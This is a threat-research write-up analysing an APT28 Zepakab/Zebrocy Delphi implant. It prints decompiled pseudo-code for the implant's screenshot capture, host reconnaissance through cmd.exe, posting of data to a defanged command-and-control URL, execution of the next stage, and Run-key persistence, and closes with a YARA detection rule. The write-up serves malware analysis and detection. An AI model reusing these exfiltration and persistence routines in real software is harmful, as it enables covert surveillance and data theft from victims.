Goal: Analyze one of the latest APT28 Zepakab/Zebrocy Delphi implant exploring its functionality (pseudo-source code level).
— Drunk Binary (@DrunkBinary) January 8, 2019
https://platform.twitter.com/widgets.js
Source:
APT28 Zepakab/Zebrocy implant (MD5: 3e713a838a68259ae2f9ef2eed05a761
Outline:
I. Background & Executive Summary II. APT28 Zepakab/Zebrocy Malware Function Analysis A. 'MainProcessor' Function 1. 'GetDesktopScreenshot' 2. 'GetHostinformation' 3. 'PostDataParameters' 4. 'CheckInstall' 5. Execute Next Stage & Exit B. 'GetHostinformation' Function C. 'PostDataParameters' Function D. 'MachineID' Function E. 'LocalInstall' Function F. 'RegistryInstall' Function III. Yara Signature
I. Background & Executive Summary
This is a continuation of the APT28 Zepakab/Zebrocy implant malware analysis from previous analysis of these types of malware (1) (2) (3)(4). APT28 is also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, and Sednit.
One of the notable peculiarities is the malware hex-encoding with padded “@” (e.g., user-agent parser string), which meant to slightly complicate direct hex decoding of malware values.
The analysis explores pseudo-coded C++ code with Delphi Borland constructs. It is interesting the group continues to leverage Qhoster AS49544 I3DNET, NL for its server (“../action-center/..” path) as the same exact server was noted communicated to the totally different URI (“../company-device-support/../” path) on the same exact server as reported by ESET earlier.
II. APT28 Zepakab/Zebrocy Malware Function Analysis
A. ‘MainProcessor’ Function
The APT28 main function calls the main functions of the malware as follows:
1. ‘GetDesktopScreenshot’
The sequence of Windows API and Delphi constructs to obtain the Desktop screenshot as (‘.jpg’) is as follows:
GetDesktopWindow -> GetDC -> Forms::TScreen::GetDesktopWidth -> Forms::TScreen::GetDesktopHeight -> Graphics::TBitmap::TBitmap -> Jpeg::TJPEGImage::TJPEGImage -> Graphics::TBitmap::GetCanvas -> Graphics::TCanvas::GetHandle -> BitBlt -> GetDesktopWindow > ReleaseDC
2. ‘GetHostinformation’
The malware obtains the host information enumerating ‘systeminfo’ and ‘taskskist’ combined with the current date and enumerated drives.
3. ‘PostDataParameters’
It leverages this function to call the server for the next stage.
4. ‘CheckInstall’
The sequence of Windows API calls to check if the payload exists locally is as follows:
v2 = FindFirstFileA(v1, &FindFileData) -> if ((if v2 = (HANDLE)0xFFFFFFFF || (FindClose(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY) and 0 ////////////////////////////// /////// Other than that ////// ////////////////////////////// FindFileData.nFileSizeHigh, FindFileData.nFileSizeLow);
5. Execute Next Stage & Exit
The malware executes the next stage via ShellExecuteA API and exiting via Forms::TApplication::Terminate.
The relevant main pseudo-coded function is as follows:
//////////////////////////////////////////////// ////// APT28 Zepakab MainProcessor Excerpt ///// //////////////////////////////////////////////// // 'hxxp://45[.]124[.]132[.]127/action-center/centerforserviceandaction/ // service-and-action[.]php' System::__linkproc__ LStrLAsg(&v25, &str_687474703A2F2F3[1]); GetDesktopScreenshot((int)&v18); GetHostinformation((int)&v17, a3, a4, a5); PostDataParameters(v25, (int)&v26, a2, a3, a4); Sleep_0(4009u); FindFirstFileA_Attrib ShellExecuteA do { GetDesktopScreenshot((int)&v18); // Make a desktop screenshot System::__linkproc__ LStrAsg(v24 + 896, v18); GetHostinformation((int)&v17, a3, a4, a5); // Collect host information System::__linkproc__ LStrAsg(v24 + 892, v17); PostDataParameters(v25, (int)&v26, a2, a3, a4); // Post host infromation to server trim_process(v26, (int)&v16, a2, a3, a4); System::__linkproc__ LStrLAsg(&v26, v16); Sleep_0(4009u); // Sleep for 4009 miliseconds hex_decode(v26, (int)&v15, a2, a3, a4); LStrToPChar(v24, v15, *(_DWORD *)(v24 + 888)); if ( ++*(_DWORD *)(v24 + 0x388) >= 5 ) System::__linkproc__ Halt0(); // Check if installed via FindFirstFileA (FindFileData) attribute a2 = CheckInstall(*(_DWORD *)(v24 + 888)); if ( a2 <= 0 ) // if not, sleep for 18000 miliseconds Sleep_0(18000u); } while ( a2 <= 0 ); Sleep_0(3000u); v11 = &savedregs; v10 = &loc_4E6E36; v9 = __readfsdword(0); __writefsdword(0, (unsigned int)&v9); v7 = (const CHAR *)System::__linkproc__ LStrToPChar(*(_DWORD *)(v24 + 888)); // Run payload via ShellExecuteA ShellExecuteA(0, 0, v7, 0, 0, 0); __writefsdword(0, v9); // Terminate application Forms::TApplication::Terminate(*(Forms::TApplication **)off_4EF164[0]); __writefsdword(0, v12); v14 = (int *)&loc_4E6E7B; System::__linkproc__ LStrArrayClr(&v15, 9); return System::__linkproc__ LStrArrayClr(&v25, 2); }
B. ‘GetHostinformation’ Function
The malware obtains the host information via running ‘SYSTEMINFO & TASKLIST’ commands (initially, hex-encoded padded with “@”) via cmd.exe \c pipe function concatenated with the current timestamp as leveraging Sysutils::Now and Sysutils::DateTimeToString.
Then, it obtains the drive information via GetLogicalDriveStringsA and GetDriveTypeA and querying for DRIVE_REMOVABLE, DRIVE_FIXED, DRIVE_REMOTE and concatenating the output.
For example:
UINT drive = GetDriveTypeA(v5);
if ( drive >= 2 && drive <= 4 ) // DRIVE_REMOVABLE, DRIVE_FIXED, DRIVE_REMOTE
The relevent pseudo-coded function is as follows:
//////////////////////////////////////////////// ////// Zepakab GetHostinformation Excerpt ///// //////////////////////////////////////////////// int __usercall GetHostinformation(int a1, int a2, int a3, long double a4) { ... v4 = a1; v15 = &savedregs; v14 = &loc_4E6499; v13 = __readfsdword(0); __writefsdword(0, (unsigned int)&v13); System::__linkproc__ LStrLAsg(&v24, &str_[1]);// 'SYSTEMINFO & TASKLIST' while ( System::Pos(&str___2[1], v24) > 0 ) // '@' { v5 = System::Pos(&str___2[1], v24); System::__linkproc__ LStrDelete(&v24, v5, 1); } System::__linkproc__ LStrLAsg(&v23, &str____18[1]);//'\r\n' System::__linkproc__ LStrClr(); Sysutils::Now(); __asm { fstp [ebp+var_18] } Sysutils::DateTimeToString(LODWORD(v21), HIDWORD(v21));// Create Date Timestamp Now() System::__linkproc__ LStrCat3(&v25, v22, v23); v6 = v25; GetDriveData((int)&v20, a2); // GetDrive Information // (removable fixed remote, size total: , size free: ) System::__linkproc__ LStrCatN(&v25, 4, v7, v13, v6, v20, v23, v23); v8 = v25; v9 = *off_4EF164[0]; unknown_libname_1118(); System::__linkproc__ LStrCatN(&v25, 3, v10, v14, v13, v8, v19, v23); hex_decode(v24, (int)&System::AnsiString, v4, a2, a3); Sysutils::Trim(System::AnsiString); PipeCmdReadFile(v17, (int)&v18, v4, a2); // CMD Command Runner: // 'cmd.exe /c pipe CreateProcessA' System::__linkproc__ LStrCat(&v25, v18); while ( System::Pos(&str___5[1], v25) > 0 ) // '&' { v11 = System::Pos(&str___5[1], v25); *(_BYTE *)(j_unknown_libname_87_0(&v25) + v11 - 1) = 44; } System::__linkproc__ LStrAsg(v4, v25); __writefsdword(0, v13); v15 = (int *)&loc_4E64A0; System::__linkproc__ LStrArrayClr(&System::AnsiString, 5); return System::__linkproc__ LStrArrayClr(&v22, 4); }
C. ‘PostDataParameters’ Function
The malware contactenates and adds the following decoded URI parameters as follows (with the hardcoded padded with ‘@’ user-agent as “Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1”):
info_w syss action
It leverages the following Delphi constructs:
TIdCustomHTTP cls_IdHTTP_TIdHTTP Idhttp::TIdCustomHTTP::GetRequestHeaders() Idhttp::TIdCustomHTTP::SetAllowCookies((int)v24, v8) TIdCustomHTTP with Classes::TStrings
The relevant pseudo-coded function is as follows:
//////////////////////////////////////////////// ////// Zepakab PostDataParameters Function ///// //////////////////////////////////////////////// int __usercall PostDataParameters(int a1, int a2, int a3, int a4, int a5) { ... v18 = 0; v19 = 0; v20 = 0; v21 = a2; v23 = a1; System::__linkproc__ LStrAddRef(v15, v16, v17); v14 = &savedregs; v13 = &loc_4E69A5; v12 = (int *)__readfsdword(0); __writefsdword(0, (unsigned int)&v12); LOBYTE(v5) = 1; v22 = (System::TObject *)unknown_libname_57(cls_Classes_TStringList, v5); hex_decode((int)&str_737973733D[1], (int)&v19, a3, a4, a5);// 'syss=' System::__linkproc__ LStrCat(&v19, *(_DWORD *)(dword_4F4630 + 892)); (*(void (__fastcall **)(System::TObject *, int, _DWORD))(*(_DWORD *)v22 + 56))(v22, v19, *(_DWORD *)v22); hex_decode((int)&str_616374696F6E3D[1], (int)&v18, a3, a4, a5);// 'action=' System::__linkproc__ LStrCat(&v18, *(_DWORD *)(dword_4F4630 + 896)); (*(void (__fastcall **)(System::TObject *, int))(*(_DWORD *)v22 + 56))(v22, v18); v24 = ClassCreate((Idbasecomponent::TIdInitializerComponent *)&cls_IdHTTP_TIdHTTP, 1); v12 = &savedregs; v11 = &loc_4E6968; v10 = __readfsdword(0); __writefsdword(0, (unsigned int)&v10); System::__linkproc__ LStrLAsg(&v20, &str__M__o_z_il_la__[1]); // 'Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1' while ( System::Pos(&str___3[1], v20) > 0 ) // '@' { v6 = System::Pos(&str___3[1], v20); System::__linkproc__ LStrDelete(&v20, v6, 1); } v7 = Idhttp::TIdCustomHTTP::GetRequestHeaders(v24); System::__linkproc__ LStrAsg(v7 + 136, v20); LOBYTE(v8) = 1; Idhttp::TIdCustomHTTP::SetAllowCookies((int)v24, v8); *((_BYTE *)v24 + 288) = 1; TIdCustomHTTP_0(a3, a4, a5, (int)&savedregs); // '?info_w=' __writefsdword(0, v10); System::TObject::Free(v24); System::TObject::Free(v22); __writefsdword(0, (unsigned int)v13); v15 = &loc_4E69AC; System::__linkproc__ LStrArrayClr(&v18, 3); return System::__linkproc__ LStrClr(); }
D. ‘MachineID’ Function
The malware ID is generated GetVolumeInformationA(c:\\) of VolumeNumber concatenated with “-” and computer name via GetComputerNameA API return.
The relevant pseudo-coded function is as follows:
//////////////////////////////////////////////// //////// APT28 Delphi MachineID Function /////// //////////////////////////////////////////////// int __usercall MachineID(int a1, int a2) { ...
MaximumComponentLength = 0; v11 = 0; v10 = 0; v9 = 0; v8 = a2; v2 = a1; v7 = &savedregs; v6 = &loc_4E5C66; v5 = (CHAR *)__readfsdword(0); __writefsdword(0, (unsigned int)&v5); LStrClr((int)&str_0_23[1], 16, a1); if ( GetVolumeInformationA("c:\\", 0, 0, &VolumeSerialNumber, &MaximumComponentLength, \ &MaximumComponentLength, 0, 0) ) { GetComputerNameA_0(v5, v6); IntToHexStrCat(v11, (int)&v14); v3 = v14; if ( v14 ) v3 = *(_DWORD *)(v14 - 4); if ( v3 < 8 ) { LStrClr((int)&str___87[1], 17, (int)&v10);// '-' System::__linkproc__ LStrCat(&v14, v10); } System::__linkproc__ LStrCopy(&v14); Sysutils::IntToHex(VolumeSerialNumber, 8); System::__linkproc__ LStrCat3(v2, v9, v14); } __writefsdword(0, (unsigned int)v7); v9 = &loc_4E5C6D; System::__linkproc__ LStrArrayClr(&v9, 3); return System::__linkproc__ LStrClr(); }
E. ‘LocalInstall’ Function
The ‘LocalInstall’ functions leverages hex decoding function coupled with GetEnvironmentVariable(%APPDATA%) concactenating with the LStrCat3 the decoded “\Notification\” to create local install path as “%APPDATA%\Notification\”.
The relevant pseudo-coded function is as follows:
//////////////////////////////////////////////// //////// LocalInstall Function //////////// //////////////////////////////////////////////// int __usercall LocalInstall(int a1, int a2, int a3) { v10 = 0; v9 = 0; v3 = a1; v8 = &savedregs; v7 = &loc_4E6BC8; v6 = __readfsdword(0); __writefsdword(0, (unsigned int)&v6); hex_decode((int)&str_5C4E6F746966696[1], (int)&v10, a1, a2, a3);// '\\Notification\\' v4 = v10; Sysutils::GetEnvironmentVariable((const int)&str_APPDATA[1]);// '%APPDATA%' System::__linkproc__ LStrCat3(v3, v9, v4); __writefsdword(0, v6); v8 = (int *)&loc_4E6BCF; return System::__linkproc__ LStrArrayClr(&v9, 2); } if ( !v26 ) { v5 = *off_4EF164[0]; unknown_libname_1118(); Sysutils::ExtractFilePath(System::AnsiString); } hex_decode((int)&str_6D6472762E65786[1], (int)&v21, a2, a3, a4);// 'mdrv.exe' System::__linkproc__ LStrCat3(v24 + 888, v26, v21); ... }
F. ‘RegistryInstall’ Function
The ‘RegistryInstall’ function sets up the malware persistence in
'Software\Microsoft\Windows\CurrentVersion\Run' disguised as 'UpdDriver'
The relevant pseudo-coded function is as follows:
//////////////////////////////////////////////// //////// RegistryInstall Function //////////// //////////////////////////////////////////////// int __usercall RegistryInstall(int a1, int a2, int a3) { ... v7 = 0; v6 = &savedregs; v5 = &loc_4E6FAE; v4 = __readfsdword(0); __writefsdword(0, (unsigned int)&v4); hex_decode((int)&str_557064447269766[1], (int)&v7, a1, a2, a3);// 'UpdDriver' // 'Software\Microsoft\Windows\CurrentVersion\Run' WriteKey(&str_Software_Micros[1], v7, *(_DWORD *)(dword_4F4630 + 888)); __writefsdword(0, v4); v6 = (int *)&loc_4E6FB5; return System::__linkproc__ LStrClr(); }
III. Yara Signature
rule apt28_zepakab_delphi_implant { meta: reference = "Detects APT28 Zepakab/Zebrocy Delphi Implant" author = "@VK_Intel" date = "2019-01-09" hash1 = "cd925e2464d251f02b4d425e301acf276e13eeccbbf5996ade5a6f355802abb7" type = "experimental" strings: $b0 = "http://www.borland.com/namespaces/Types" fullword ascii wide $b1 = "SOFTWARE\\Borland\\Delphi\\RTL" fullword ascii wide $ap0 = "ShellExecuteA" fullword ascii wide $ap1 = "GetDriveTypeA" fullword ascii wide $ap2 = "FindFirstFileA" fullword ascii wide $ap3 = "GetDesktopWindow" fullword ascii wide $ap4 = "GetEnvironmentVariableA" fullword ascii wide $ap5 = "BitBlt" fullword ascii wide $ap6 = "GetDriveTypeA" fullword ascii wide $sleep = "Sleep" fullword ascii wide $sysutils = { 79 73 55 74 69 6c 73 } condition: ( uint16(0) == 0x5a4d and filesize > 1000KB and all of ($b*) and all of ($ap*) and #sleep > 1 and $sysutils) }